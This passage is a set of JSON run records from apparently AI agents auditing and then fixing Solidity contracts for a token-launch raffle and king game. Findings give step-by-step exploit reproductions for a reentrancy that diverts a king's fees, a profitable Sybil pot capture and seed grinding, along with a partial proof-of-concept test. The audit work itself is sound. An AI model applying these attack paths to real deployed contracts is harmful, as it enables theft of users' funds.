PVP tokens and games that share the official implementation address"},{"citation":"resolved","description":"Line 154 stores entryOf[msg.sender] = entrants.length (1-based) and line 155 emits entrants.length - 1 (0-based); Seated likewise emits imps.length - 1 while impOf stores imps.length. A frontend correlating events with the views is off by one. No funds impact.","line":155,"path":"src/PadGame.sol","reproduction":"openPad; the first wallet calls enter{value: 0.001 ether}(): event Entered(wallet, 0, true) while pvp.entryOf(wallet) == 1 and myEntry() returns entry == 1. Expected: one index base, or the convention documented on the event.","severity":"info","snippet":"        emit Entered(msg.sender, entrants.length - 1, first);","title":"Entered/Seated events emit 0-based indexes while entryOf, impOf and myEntry are 1-based"},{"citation":"resolved","description":"TickMath.getSqrtPriceAtTick(-887200) is 4310618292 and getSqrtPriceAtTick(887200) is 1456195216270955103206513029158776779468408838535, not the values in SQRT_MIN_FULL / SQRT_MAX_FULL. The liquidity estimate l0 is high by ~1.6e-20 relative and l1 low (safe direction), 14 orders of magnitude under the LIQUIDITY_MARGIN_PPM haircut, so the PoolManager never asks for more than msg.value or tokenAmount; real-manager tests pass either way. Documentation accuracy only: copy the values from TickMath or assert them in a test.","line":30,"path":"src/PadLiquidity.sol","reproduction":"test/scratch/Consts.t.sol on this tree: assertEq(uint256(TickMath.getSqrtPriceAtTick(-887200)), 4_310_618_291) -> [FAIL: lo: 4310618292 != 4310618291]; assertEq(uint256(TickMath.getSqrtPriceAtTick(887200)), 1_456_195_216_270_955_103_182_949_462_556_801_019_286_893_565_306) -> [FAIL: hi: 1456195216270955103206513029158776779468408838535 != ...306].","severity":"info","snippet":"    uint160 internal constant SQRT_MIN_FULL = 4_310_618_291;","title":"Full-range sqrt-price constants differ from v4 TickMath (lower by 1, upper by 2.36e28); harmless because the 1 ppm haircut dwarfs the error"},{"citation":"resolved","description":"test/RaffleEdges.t.sol (six tests) was added and test_hardEndAt60Minutes renamed after the report was written. The test report is a deliverable of the assignment and should match the suite.","line":8,"path":"docs/TEST-REPORT.md","reproduction":"forge test (excluding test/scratch) prints 'Ran 10 test suites ... 147 tests passed, 0 failed'; the report says 141 across nine suites.","severity":"info","snippet":"**141 tests passed, zero failures, zero skipped**, across nine suites. Foundry counts the group of","title":"docs/TEST-REPORT.md test count is stale: it states 141 tests across nine suites, the tree runs 147 across ten"}],"hash":"3c89ca8ebcc4a4817e43d802cbbed61933d2dd42851922e255c5402487046bcb","nodeId":"3fccca9f-cfcd-4a7a-829f-6b4c31b54bcc","outcome":"completed","summary":"Review complete. The findings file at `.imd-findings.json` holds 8 findings and a coverage record answering all 38 entry points. No tracked file was changed; only the ignored findings file and `test/scratch/` were written.\n\n**What I kept, after reproducing each against the code**\n\n- **High, outgoing king fees bypassed.** A former king with any PadLiquidity claimable calls `claim()` and, inside its receive, calls `takeCrown`. The pre-crown distribute reverts on PadLiquidity's shared lock, the catch swallows it, and the sitting king is dethroned with only its bid refund. The next distribute pays the accrued fees to the usurper. Merged the permissions and economics reports into one finding. The specialist proof fails on this tree for exactly that reason and is attached.\n- **Medium, Sybil capture of funded ETH is profitable.** AUDIT #13 assumes a 45% token-dump recovery, but a sole curve buyer recovers about 81% on the real v4 pool, so capture nets a profit once the funded pot is at least 24% of roll spend. The economics proof reproduces, but only with a raised gas limit, so it is cited in the reproduction rather than attached.\n- **Medium, free launch strands the carry pot.** A no-cost `launch()` moves the whole carry into a game nobody has to enter, where no upkeep path can release it. Ten free launches also evict every honest game from the king's last-10 window. My scratch test shows the carry still parked after a year. Merged from two reports.\n- **Low, seed re-selection by withholding draw.** Brief-mandated recommit lets a sole caller choose between seed sets. Merged from two reports.\n- **Four info items.** Self-made template clones impersonate official tokens, 0-based events versus 1-based views, sqrt constants off from TickMath, and a stale test count in the test report.\n\n**Dropped:** the tests specialist's bot-cost note duplicates numbers AUDIT #22 already documents. The slither and aderyn leads did not reproduce as defects. The weak-PRNG and msg-value-loop lines match the brief's intended design, and the reentrancy lines are covered by the guards I traced, except the claim path reported above.\n\n**My own pass found no additional defects.** I checked the gas-starvation route around the 4.5M distribute stipend, tick-crossing exhaustion of the 400k collect cap, the hash-window boundary against ArbSys semantics, ETH conservation in the game and liquidity contracts, the manifest, and runtime sizes. All held. The full existing suite passes.\n\n| Check | Result |\n|---|---|\n| Existing suite | 147 passed, 0 failed |\n| Largest runtime | PadGame 17,862 bytes |\n| Manifest notes | 2,431 chars, schema keys only |","treeHash":null,"usage":{"cachedInputTokens":963210,"inputTokens":258,"model":"claude-fable-5-1","outputTokens":41205,"runtime":"claude","turns":23,"wallClockMs":714656}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"c35be49d2f8f8def","findings":[{"citation":"resolved","description":"The report is a deliverable of the assignment and must match the suite. Five RaffleEdges tests were added by the independent tester (commit 47ba58c, test/RaffleEdges.t.sol +269 lines) after the author refreshed the report, so the stated totals no longer match. No code impact; everything passes.","line":8,"path":"docs/TEST-REPORT.md","reproduction":"forge test --no-match-path \"test/scratch/*\" prints \"Ran 11 test suites ... 156 tests passed, 0 failed, 0 skipped\"; forge test --list enumerates 167 test/invariant functions. docs/TEST-REPORT.md line 8 says 151 tests and 162 functions. Expected: equal counts. Actual: off by five.","severity":"info","snippet":"**151 tests passed, zero failures, zero skipped**, across eleven suites (162 test functions","title":"docs/TEST-REPORT.md test count is stale again: it states 151 tests (162 functions) across eleven suites, the tree runs 156 tests (167 functions)"}],"hash":"4effd4026aa94c5cfdf1a569018002d629bb6f2f8762bc7e4bfa07395dbf5ed3","nodeId":"3fccca9f-cfcd-4a7a-829f-6b4c31b54bcc","outcome":"completed","summary":"The findings file is in place and the scratch directory is removed. Nothing else is needed.\n\n## Outcome\n\nAll three findings from my earlier round are fixed, and the revised code introduces no new defect I could reproduce. The findings file holds one informational note and a coverage row for every one of the 38 entry points, all `holds`.\n\n**Settled findings**\n\n- **High, takeCrown bypass via PadLiquidity.claim (e2ea0e40): fixed.** My proof and the permissions specialist's proof both pass on this tree as scratch copies. PadLiquidity.claim now uses its own lock, so the pool guard is never held while a claimer runs. KingOfThePad.takeCrown no longer swallows a distributor revert whose reason is the reentrancy guard, while every other failure is still caught. I re-derived the gas-starvation alternative and it remains infeasible: the remainder of takeCrown needs well over the 70k gas that 1/64 of the 4.5M stipend leaves.\n- **Medium, sybil funded-pot capture (22ea8fdb): fixed.** The release is now the smaller of 3x the roll pot and 15% of the curve ETH. A sole buyer can recover at most 0.99(1+e)/(1.99+0.99e) of a raise of e ETH, so at least 16.8% stays in the pool at the 4 ETH sell-out, above the 15% cap, before the 2% burn and entry fees. The author's real-PoolManager test and my own cap check confirm the formula in code.\n- **Medium, free launch strands the carry pot (1d6515bf): fixed.** Carry now waits in the pad and moves only when a raffle completes with at least five seats. My scratch test ran 20 junk launches and saw the carry untouched, a four-seat draw take nothing, and a five-seat draw take it all. Free launches no longer enter the king's window or the upkeep slots.\n- **Advisory items:** seed re-selection by withholding draw is disputed by the author and I accept it, since the brief mandates the recommit and AUDIT #23 now states the limit. Clone initializers are documented in AUDIT #27 and VERIFY.md. Event indexes and the TickMath constants are corrected and tested.\n\n**One new informational note**\n\ndocs/TEST-REPORT.md states 151 tests and 162 functions, but the tree runs 156 tests with 167 functions. The independent tester added five RaffleEdges tests after the author refreshed the report. No code impact.\n\n**Checks run**\n\n- Full suite: 11 suites, 156 passed, 0 failed.\n- Both earlier proofs pass against the revised code.\n- launch.json has only the schema keys, string arguments, unique names under 32 characters, and passes the repo's validator. All runtime sizes are under 24,576 bytes.","treeHash":null,"usage":{"cachedInputTokens":1768848,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":24130,"runtime":"claude","turns":19,"wallClockMs":808097}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"d5e40d018a0986f3","findings":[{"citation":"resolved","description":"PadLiquidity.graduate sizes the full-range position [-887200, 887200] with its own copies of the tick-edge sqrt prices. Against the vendored v4-core TickMath (lib/v4-core/src/libraries/TickMath.sol) both are off: getSqrtPriceAtTick(-887200) = 4310618292 (contract: 4310618291, one wei low) and getSqrtPriceAtTick(887200) = 1456195216270955103206513029158776779468408838535 (contract: ...103182949462556801019286893565306, 2.36e28 low). Boundary x precision seam checked: l0 = mulDiv(eth, sqrtP*SQRT_MAX/Q96, SQRT_MAX - sqrtP) uses the upper constant in both numerator and denominator, so the liquidity estimate is high by about 1.6e-20 relative (2.36e28 / 1.456e48); l1 uses the low lower-edge value, which makes the token estimate smaller (safe direction). Both errors are 14 orders of magnitude below the LIQUIDITY_MARGIN_PPM haircut (1e-6), so the PoolManager can never ask for more than msg.value or tokenAmount because of them; with the reachable price range (vTok/vEth between 4e7 and 1e9 tokens per ETH, sqrtP between 5.0e32 and 2.5e33) the computed liquidity is identical to the exact one after the haircut. This is a documentation/accuracy note, not a loss path: the constants are presented as the tick-edge prices and they are not. Fix: copy the two values from TickMath.getSqrtPriceAtTick(MIN_TICK) and (MAX_TICK), or compute them once in a test and assert equality so a future tick-spacing change cannot silently widen the gap.","line":30,"path":"src/PadLiquidity.sol","reproduction":"Scratch test (test/scratch/Consts.t.sol):\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {TickMath} from \"../../lib/v4-core/src/libraries/TickMath.sol\";\ncontract ConstsTest is Test {\n  function test_consts() public pure {\n    assertEq(uint256(TickMath.getSqrtPriceAtTick(-887200)), 4_310_618_291, \"lo\");\n    assertEq(uint256(TickMath.getSqrtPriceAtTick(887200)), 1_456_195_216_270_955_103_182_949_462_556_801_019_286_893_565_306, \"hi\");\n  }\n}\n\nRun: forge test --match-path test/scratch/Consts.t.sol -vv\nExpected (if the constants were the tick-edge prices): pass.\nActual: [FAIL: lo: 4310618292 != 4310618291] and, with lo corrected, [FAIL: hi: 1456195216270955103206513029158776779468408838535 != 1456195216270955103182949462556801019286893565306].\nState impact: none reachable. Example at sold-out graduation (vEth = 5e18, vTok = 2e26, msg.value = 4e18): sqrtP = 5.01e32; l0 with the contract constant and with the exact constant differ by less than 1 unit of liquidity before the 1 ppm haircut (l0 ~ 2.53e22, haircut removes ~2.5e16), so usedEth/usedTok from the real PoolManager are unchanged (LiquidityV4 tests pass either way).","severity":"info","snippet":"    uint160 internal constant SQRT_MIN_FULL = 4_310_618_291;\n    uint160 internal constant SQRT_MAX_FULL = 1_456_195_216_270_955_103_182_949_462_556_801_019_286_893_565_306;","title":"Full-range sqrt-price constants differ from v4 TickMath (lower by 1 wei, upper by 2.36e28); error is 1.6e-20 relative, absorbed by the 1 ppm haircut"}],"hash":"5b1f1c328441db4ad7651d57a16d31155f63530ecf48ea980774537d9d908f9b","nodeId":"4bd5a1cc-1632-494f-b0b6-25b6deb934fa","outcome":"completed","summary":"The review is complete. The findings file is written and validated, and the manifest checks out.\n\n**Outcome**\n\nThe math in my area holds. I traced the bonding curve, the raffle sampling, the payout split, the king split, the king-share weighting and the v4 liquidity sizing against the Math Precision, Boundary and Numerical Gap checklists, and found no loss path. The full suite passes (141 tests, real v4 PoolManager included).\n\n**What I reported** in `.imd-findings.json`\n\n- **Info, one finding.** The two full-range sqrt-price constants in PadLiquidity are not the exact v4 TickMath values for ticks ±887200. The lower edge is low by 1 wei and the upper edge by about 2.36e28. The relative error is about 1.6e-20, fourteen orders of magnitude under the 1 ppm liquidity haircut, so no reachable graduation changes. A scratch test under `test/scratch/Consts.t.sol` shows the discrepancy. I rated it info and said plainly that it has no state impact.\n\n**What held under tracing** (all recorded as coverage rows, 42 in total, one per listed entry point plus invariants)\n\n- Curve quote rounds up so the pool never undercharges, and the sold-out branch lands exactly on 4 ETH raised with no underflow.\n- Raffle rejection sampling and sparse Fisher-Yates are unbiased, bounded to 32 trials, and the commit, seed and recommit block boundaries match ArbSys hash validity exactly.\n- Finalize fee, funded-release cap, triangular rank weights and the packed sort key all stay within bounds and conserve ETH.\n- King bid step, split and pre-crown distribute isolation work as the brief states.\n- AUDIT #22 bot-cost means are arithmetically correct by hand check.\n\n**Left unverified**\n\n- The static PoolManager address on chain 4663 cannot be checked offline. A wrong address would make every graduation with ETH raised revert and keep launches and the crown closed. That is a deployment-input trust assumption, recorded as an unreached coverage row rather than a finding.\n\nThe manifest passes structural checks: only kind, contracts and notes keys, argument counts match each constructor, references point backward, addresses are lowercase, notes are 2,040 characters.","treeHash":null,"usage":{"cachedInputTokens":1392931,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":53142,"runtime":"claude","turns":32,"wallClockMs":896577}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"4be5e039e1c77ce3","findings":[{"citation":"resolved","description":"After the first post-signup draw()/upkeep records commit block C, the seed is fully determined and publicly computable from L2 block C+4 (keccak(game, arbBlockHash(C+1..C+3))). Nothing forces that seed to be used: if no transaction calls draw()/poke()/upkeep on this game before C+258, the next caller recommits to a fresh block and a new, unrelated seed is drawn. A party who can preview seed S1 at C+4 therefore holds a free option: call draw() if S1 seats its wallets well, otherwise stay silent and let the window lapse for a new seed S2 (repeatable). On an Arbitrum-stack chain blocks only form with transactions, so on a quiet Robinhood Chain the attacker can also advance 258 blocks itself with cheap dummy transactions. The brief mandates recommit after the window, so this is inherent to the chosen design rather than an implementation slip; it is only neutralised when some other party (any entrant, frontend, keeper, or any roll/enter in another game, which triggers _draw via upkeepStep) calls draw within the window. Reported so the author can document it in AUDIT.md #23 (which currently states 'entry order or chunk size' cannot influence the seed but not that draw timing can select between seeds) and/or shorten the dependence (e.g. have the first caller after C+4 seed unconditionally; a keeper that always draws at C+4). Impact: with more than 200 entrants a bot gets best-of-k seat sets rather than one uniform draw; with <= 200 entrants only seat order (the ranking tie-break) is affected.","line":173,"path":"src/PadGame.sol","reproduction":"Scratch test (test/scratch/Trace.t.sol, test_recommitLetsAWaiterChooseBetweenTwoSeatSets, run on this tree): openPad; 250 wallets enter; warp to signupEnd; draw(32) commits at C; arb.set(C+4); compute S1 = keccak(abi.encode(pvp, hash(C+1), hash(C+2), hash(C+3))). Branch A: draw to completion -> drawSeed == S1, 44 of the 50 late wallets (indices 200..249) seated. Branch B (snapshot revert): arb.set(C+258); draw(32) -> drawCommitBlock == C+258, no seats yet; advance 4; draw to completion -> drawSeed != S1, 43 of the same 50 wallets seated, different set. Expected (brief: 'entry order or timing gives no edge'): one committed seed per game that no participant can decline. Actual: whoever decides whether draw() is called between C+4 and C+257 chooses between S1 and a fresh S2.","severity":"low","snippet":"            if (!drawCommitted || cur > drawCommitBlock + 1 + HASH_WINDOW) {","title":"Raffle seed can be re-selected by withholding draw() until the 256-block window expires (recommit grinding)"},{"citation":"resolved","description":"The new raffle state is exposed through both events and views, but with different index bases: Entered.entry and Seated.imp/entry are 0-based (entrants.length - 1, imps.length - 1), while entryOf, impOf and myEntry() return 1-based values (line 154: entryOf[msg.sender] = entrants.length). A frontend that correlates the Entered event with myEntry() will be off by one. No funds impact; consistency/documentation item for the later website job.","line":155,"path":"src/PadGame.sol","reproduction":"openPad; first wallet calls enter{value: 0.001 ether}(): event Entered(wallet, 0, true) is emitted while pvp.entryOf(wallet) == 1 and myEntry() returns entry == 1. Expected: the same index in both places, or the convention stated in the event doc.","severity":"info","snippet":"        emit Entered(msg.sender, entrants.length - 1, first);","title":"Entered/Seated events emit 0-based indexes while entryOf/impOf/myEntry are 1-based"}],"hash":"8dc47f8af180d03aa18347690fc1518210ffeb5a5b1734ecc714aabdb3c7b313","nodeId":"07914ed4-f13a-4780-ac5a-ffbd89797c48","outcome":"completed","summary":"Review complete. The findings file is written and the scratch directory removed; only `.imd-findings.json` plus build caches (`out/`, `cache/`, excluded) were added to the tree.\n\n**Outcome: the control flow holds. No critical, high or medium defects in the Execution Trace, Periphery or First Principles areas.** Two items are recorded, one low and one info.\n\n**What I traced**\n\n- Every state-changing entry point the verifier listed (39 of them) has a coverage row, plus two invariant rows for the PadLib periphery and the manifest. 37 are `holds`, two carry the findings below. No `unreached`.\n- Full suite runs green on this tree (141 tests, real Uniswap v4 PoolManager in the graduation, distribute, burn and hook tests).\n- Real-v4 traces show `collectPool` peaks near 200k gas, so the 400k per-pool cap and the 4.5M pre-crown budget are sound. The outgoing king is paid before `king` is reassigned.\n- Periphery math: `sqrt` floor property, `mulDiv` against a 512-bit identity including the overflow revert, and the EIP-1167 clone bytecode were fuzzed in scratch (4000 runs each) and hold.\n- The manifest validates mechanically: correct `kind`, five unique names, one argument per constructor parameter in order, lowercase even-length hex, notes at 2040 characters, all runtimes under the EIP-170 limit.\n\n**Findings**\n\n1. **Low, seed re-selection through the recommit path** at `src/PadGame.sol:173`. Once commit block C is recorded, the seed is public from C+4, but nothing forces its use. A party who dislikes it can stay silent until C+258 and the next caller recommits to a fresh seed. On an Arbitrum-stack chain the attacker can even mint those 258 blocks with dummy transactions. The scratch trace showed two different seat sets for the same 250-wallet cohort depending only on whether `draw()` was called in the window. The brief mandates recommit, so this is a design property to document in AUDIT.md #23 and to defend with a keeper that always draws at C+4.\n2. **Info, index base mismatch** at `src/PadGame.sol:155`. `Entered` and `Seated` emit 0-based indexes while `entryOf`, `impOf` and `myEntry()` are 1-based. A frontend correlating both will be off by one.\n\n**Open item outside the tree, not filed as a finding:** the PoolManager address `0x8366…0951` in `launch.json` is inherited from launch 1643 and was not verified on Robinhood Chain here, since the task forbids RPC calls and this box has no 4663 endpoint. If it has no code there, the genesis can never graduate and the pad has no setter to recover. The deployer's simulation should confirm it before launch.","treeHash":null,"usage":{"cachedInputTokens":1794083,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":52179,"runtime":"claude","turns":29,"wallClockMs":944421}},{"artifacts":[],"attempt":2,"bundleHash":"b8b2591bfe1f8ad282a5b780e3b520d62f0c41114cfca5c9517df9c88c5d2fdb","device":"ddfb1efa72fe9a94","findings":[],"hash":"a4ba3dba93707fa50be56f24e8e62ea843bfca85135ee4e32e69c2871801df5c","nodeId":"3edc3904-10b6-475a-910b-470744eae0ba","outcome":"completed","summary":"The revision is complete. All three reproducible findings are fixed, the advisory ones are answered, and the tree builds and tests clean.\n\n**Verification on the final tree**\n\n| Check | Result |\n|---|---|\n| `forge build` | passes, about 4 minutes, 1.85 GB peak |\n| `forge test` with the verifier's fuzz seed | 151 passed, 0 failed, 0 skipped |\n| Reviewer's proof (copied under test/scratch) | passes |\n| `forge fmt --check`, manifest validator | pass |\n\n**What changed in the contracts**\n\n- **Crown bypass (high, proof).** PadLiquidity.claim now has its own lock instead of sharing the pool guard, so a claimer can never hold that guard while bidding. KingOfThePad.takeCrown additionally refuses to swallow a distributor revert whose reason is the reentrancy guard and reverts \"liquidity busy\". Every other distributor failure is still caught and pool failures remain isolated.\n- **Sybil pot capture (medium).** I confirmed the reviewer's arithmetic: a sole buyer dumping into the graduated pool recovers up to 83% of the curve ETH, and the roll pot can be inflated cheaply past sell-out, so any multiple of the roll pot is unsafe. Funded release is now capped at the lower of 3x the roll pot and 15% of curve ETH raised. That sits below the share a dump can never recover for every possible raise. A real-pool test with a 5 ETH pot on offer shows the sybil still losing money.\n- **Stranded carry (medium).** Launching no longer forwards the carry. A game takes it only when its raffle completes with at least five seats. The pad also keeps a list of launches that received a first entry, and both the king's last-10 window and upkeep walk that list, so free junk launches cannot crowd out real games.\n- **Advisory items.** Entered and Seated events are now 1-based like the views. The full-range sqrt constants now match TickMath and are asserted. The test report count and figures are refreshed. The seed-withholding and template-clone findings are answered as disputed with documentation updates in AUDIT #23, #27 and VERIFY.md, since the brief mandates the recommit and the templates cannot pin the pad.\n\n**Deliverables updated**: docs/AUDIT.md (#13 rewritten with the dump math, #21 extended, new #26 to #28), docs/TEST-REPORT.md, README, docs/VERIFY.md, launch.json notes, test/Revision.t.sol with nine new tests, and .imd-responses.json answering all eight findings.\n\nOne thing to flag for the owner: the 15% curve cap means the king's games share drips out slowly and the remainder carries forward between games. That is a deliberate trade for sybil resistance and is documented in AUDIT #13 as a constant the owner may revisit.","treeHash":"ce973ae19b5615ad133a9df3d061f6fb8da2d633","usage":{"cachedInputTokens":3176698,"inputTokens":706,"model":"claude-fable-5-1","outputTokens":62284,"runtime":"claude","turns":79,"wallClockMs":1669247}},{"artifacts":[],"attempt":1,"bundleHash":"bbfce7f132a0f51fc1c250be64dfa0136870dc906b1e13713e21a62305f1b59d","device":"5fdca4f96f37a80d","findings":[],"hash":"b62ba1faed30f282b18b85ef11e4f9c672574730a37111b50189e1f02978f091","nodeId":"cd28e34e-aa69-45eb-9709-c3bee99a9005","outcome":"completed","summary":"The revision is done. The suite now passes cleanly on this tree.\n\n**What was wrong.** The accepted tree had one failing test, which is the runtime error the verifier reported. The implementation was revised by a later accepted round so the carry pot stays in the pad until a raffle completes with at least five Imps, instead of moving into every new launch at creation. The older edge test in `test/RaffleEdges.t.sol` still asserted the previous behaviour and failed on the carry amount.\n\n**What I changed.** Only that one test, in the king-funding edge case:\n- A fresh launch now holds no carry and leaves the pad's carry pot untouched.\n- A bid while the game has four entries routes the games share to the carry pot, not the game.\n- A bid while the game has five entries and is drawing funds the game with its share, while the carry keeps waiting in the pad.\n- Completing the five-seat draw pulls the whole carry in, and the game's pot equals its funded ETH because nobody rolled.\n- The remaining checks are unchanged: with nobody rolling, finalize returns every funded wei to the carry, players can claim nothing, and graduation fails the launch without touching the genesis.\n\n**Verification.**\n\n| Run | Result |\n|---|---|\n| forge build | passes |\n| forge test with the verifier's environment seed | 156 passed, 0 failed |\n| forge test with the seed pinned in foundry.toml | 156 passed, 0 failed |\n\nNo submodules exist under lib, so the offline verifier will find every dependency. Nothing outside test was touched, and no new defects surfaced, so no findings file was written. The change is left uncommitted in the working tree for the harness to pick up, matching how earlier rounds were recorded.","treeHash":"2c2475e24747a10d222a6dd61ee00b5f362612ce","usage":{"cachedInputTokens":468766,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":7518,"runtime":"claude","turns":11,"wallClockMs":482449}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"8e25456c4ae69acf","findings":[],"hash":"b7633489d998d9a8fc9bda16bcb064e703fb07361cf6963f97233c064336fc25","nodeId":"3edc3904-10b6-475a-910b-470744eae0ba","outcome":"failed","summary":"the local build failed, so this was not submitted:\nforge build exited with 1:\nCompiling 85 files with Solc 0.8.26\nError: solc exited with signal: 9 (SIGKILL)\n<empty output>","treeHash":null,"usage":{"cachedInputTokens":4053028,"inputTokens":1284,"model":"claude-fable-5-1","outputTokens":70756,"runtime":"claude","turns":61,"wallClockMs":1841154}},{"artifacts":[],"attempt":1,"bundleHash":"4485f9c0c5065246dcd57ef1223c69606dd8ca77cb12d62ac95af2e15a279898","device":"99fdbd4812d28337","findings":[],"hash":"c97c273990c28829c0790c173fd8786c81689c9c7d989a8e66926974030e3a56","nodeId":"3edc3904-10b6-475a-910b-470744eae0ba","outcome":"completed","summary":"Implemented the paid raffle, outgoing-king fee settlement, and real Uniswap v4 tests. Genesis now mints only when the pad opens.\n\n- **141 tests pass** with the required seed.\n- Build, formatting, and manifest validation pass.\n- Deployment plus later opening: **12.46M gas**.\n- Largest 5,000-entry draw chunk: **2.64M gas**.\n\nAudit, verification guide, and [test report](/root/.identitymd/work/f5fb4362-0b07-422e-90d1-21870a363a6a/3edc3904-10b6-475a-910b-470744eae0ba/docs/TEST-REPORT.md) updated. No network deployments or RPC calls.","treeHash":"22c837aead42bef812309ce2b758048f4f476e4c","usage":{"cachedInputTokens":11118080,"inputTokens":437460,"model":"gpt-6-astra","outputTokens":72252,"runtime":"codex","turns":15,"wallClockMs":2524517}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"829d84438fb3fdc8","findings":[{"citation":"resolved","description":"CHANGE 2 / AUDIT #21 promise that the outgoing king is paid before the crown changes. The pre-crown settlement is a try/catch around PadLiquidity.distribute(8), and distribute is protected by PadLiquidity's `guard` modifier (src/PadLiquidity.sol:183, `locked`). PadLiquidity.claim() (src/PadLiquidity.sol:263-270) runs under the same `locked` flag and pushes ETH to msg.sender with all remaining gas. A contract wallet that holds any PadLiquidity claimable therefore has a window in which `locked` is true and it may call KingOfThePad.takeCrown: distribute(8) reverts with \"reentrancy\", the catch discards it, `king` is overwritten and the previous king only receives its bid refund. The fees that accrued in the pools during the previous king's reign stay in the pools and are paid to the usurper by the next distribute (which takeCrown itself triggers through pad.upkeepFor -> distribute(2), or anyone via king.distribute). Getting a PadLiquidity claimable is cheap and permissionless: be king once (0.01 ETH, refunded on dethroning) with a receive() that reverts during one distribute, so `claimable[k] += amount` (src/PadLiquidity.sol:207) records even 1 wei of fees. Economics: attacker cost is gas plus a bid that is refunded; the victim loses every ETH fee and token-fee sale that accrued since the last distribute of each pool (unbounded by design, since distribute is round-robin and chunk-capped: only 2 pools per upkeep, SELL_CHUNK 2M tokens and a 1% price limit per collect, so large token stashes always carry over to whoever is king at the next sale). The same swallow also means any other failure of distribute (not only this one) silently reassigns the backlog; the existing test `test_failedDistributorCannotBlockCrown` asserts only that the crown changes. Minimal fix that preserves the design: give claim() its own lock (it already zeroes the balance before the call), or in takeCrown treat a distribute revert whose reason is the liquidity reentrancy guard as a failed bid, or have distribute snapshot `IKingView(king).king()` before any external call and refuse to run while claim holds the lock. Attacker-controlled alternative paths were checked: starving the 4.5M gas stipend does not work because distribute receives min(4.5M, 63/64 remaining) and each pool is isolated, so a failing inner collect burns only its own 400k; the reentrancy window is the practical path.","line":73,"path":"src/KingOfThePad.sol","reproduction":"State: PvP graduated on the real PoolManager (one entry, one roll, finalize, graduate). 1) Attacker contract U calls takeCrown{value: 0.01 ETH} (first crown). 2) Any trade on the PvP pool (router buys 0.01 ETH) accrues a 1% LP fee. 3) U sets its receive() to revert and anyone calls PadLiquidity.distribute(1): push to U fails, claimable[U] = ~0.0001 ETH. 4) After 1 hour honest king A calls takeCrown{value: 0.011 ETH}; U accepts its refund. 5) Trades during A's reign: router buys 0.1 ETH, ~0.001 ETH of ETH fees are now owed to A. 6) After 1 hour U calls PadLiquidity.claim(); inside receive() U calls king.takeCrown{value: 0.0121 ETH}. Expected: either the bid is refused or A is paid ~0.001 ETH of fees before the Crowned event. Actual: the call succeeds, king() == U, A's balance rises by exactly 0.011 ETH (refund only), and the following king.distribute(8) pays 1,000,594,337,516,730 wei (~0.001 ETH) of A's fees to U. The proof file fails on this tree with `outgoing king must be paid before dethroning: 11000000000000000 <= 11000000000000000` and `usurper must not receive the previous reign's fees: 1000594337516730 != 0`. Run: forge test --match-path test/scratch/KingFeeBypass.t.sol","severity":"high","snippet":"            try liquidity.distribute{gas: CROWN_DISTRIBUTE_GAS}(8) {} catch {}","title":"takeCrown swallows a reverted pre-crown distribute: a bidder re-entering from PadLiquidity.claim() dethrones the king without paying its accrued LP fees, which the next distribute pays to the usurper"},{"citation":"resolved","description":"AUDIT #13 justifies FUNDED_RELEASE_MULTIPLE = 3 with: a five-wallet sybil that rolls X gets back 8% (roll pot) + 24% (3x funded) + 'about half of the curve ETH by dumping its tokens into the graduated pool (45%)', about 77% of X, so 'capturing funded ETH costs more than it returns'. The 45% figure is wrong for the case that matters. The curve is x*y=K with vEth = 1 + e and vTok = 1e9/(1+e); after a raise of e ETH the pool is initialised at price (1+e)^2/1e9 with the real e ETH (ETH side limits liquidity, PadLiquidity.graduate lines 159-162) and only e*1e9/(1+e)^2 tokens, while a sole buyer holds 1e9*e/(1+e) tokens, i.e. (1+e) times the pool's token reserve. Dumping S tokens into a CPMM with reserve T returns e*S/(T+S) (less the 1% fee): 0.99(1+e)/(1.99+0.99e) of the curve ETH, which is 65% at e=0.9, 75% at e=2 and 81% at e=3.4, not 45%. Total return of the sybil = 8%X (own roll pot, top half of its own imps) + min(F, 24%X) (funded release) + ~0.81*0.9X (dump) = ~105%X whenever the funded pot F >= 24%X, so with F >= ~0.9 ETH a bot that fills every seat (cheap when honest demand is low: 40 wallets = 0.04 ETH, AUDIT #22) earns the king's games share at a profit, and honest players who would have shared that pot are excluded. Who loses: the king's 50% games share (and any carry pot) ends with the bot; the 2% roll burn and 1% pool fee (to the king) are the only leakage. Note fundGames also sends the whole share to the only 'live' launch among the last 10, and launch() is free, so the bot controls which game is live (enter 5 wallets right after creating its launch). Suggested fixes preserving the design: size the release cap from what the sybil cannot recover (e.g. release <= roll-earned pot, or <= 25% of curve ETH), or hold funded ETH back when a single curve buyer dominates; at minimum correct AUDIT #13's numbers so the owner can decide. Measured on the real PoolManager: curve ETH 3.3894, roll pot 0.3013, pot paid back 1.2051 (incl. 0.9 funded + fee), dump 2.7553 (81% of curve ETH), spent 3.806 (1,900 rolls + 40 entries), back 3.9605, profit 0.1545 ETH before gas (~1,950 L2 transactions).","line":36,"path":"src/PadGame.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {IPoolManager, IUnlockCallback, PoolKey, SwapParams} from \"src/interfaces/Interfaces.sol\";\nimport {PoolManager} from \"lib/v4-core/src/PoolManager.sol\";\n\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"invalid block number\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\n/// @dev Sells tokens for ETH on the real v4 pool (no price limit: dump everything).\ncontract SellRouter is IUnlockCallback {\n    IPoolManager immutable pm;\n\n    constructor(IPoolManager pm_) {\n        pm = pm_;\n    }\n\n    receive() external payable {}\n\n    function sell(PoolKey memory key, uint256 tokens) external returns (uint256 ethOut) {\n        return 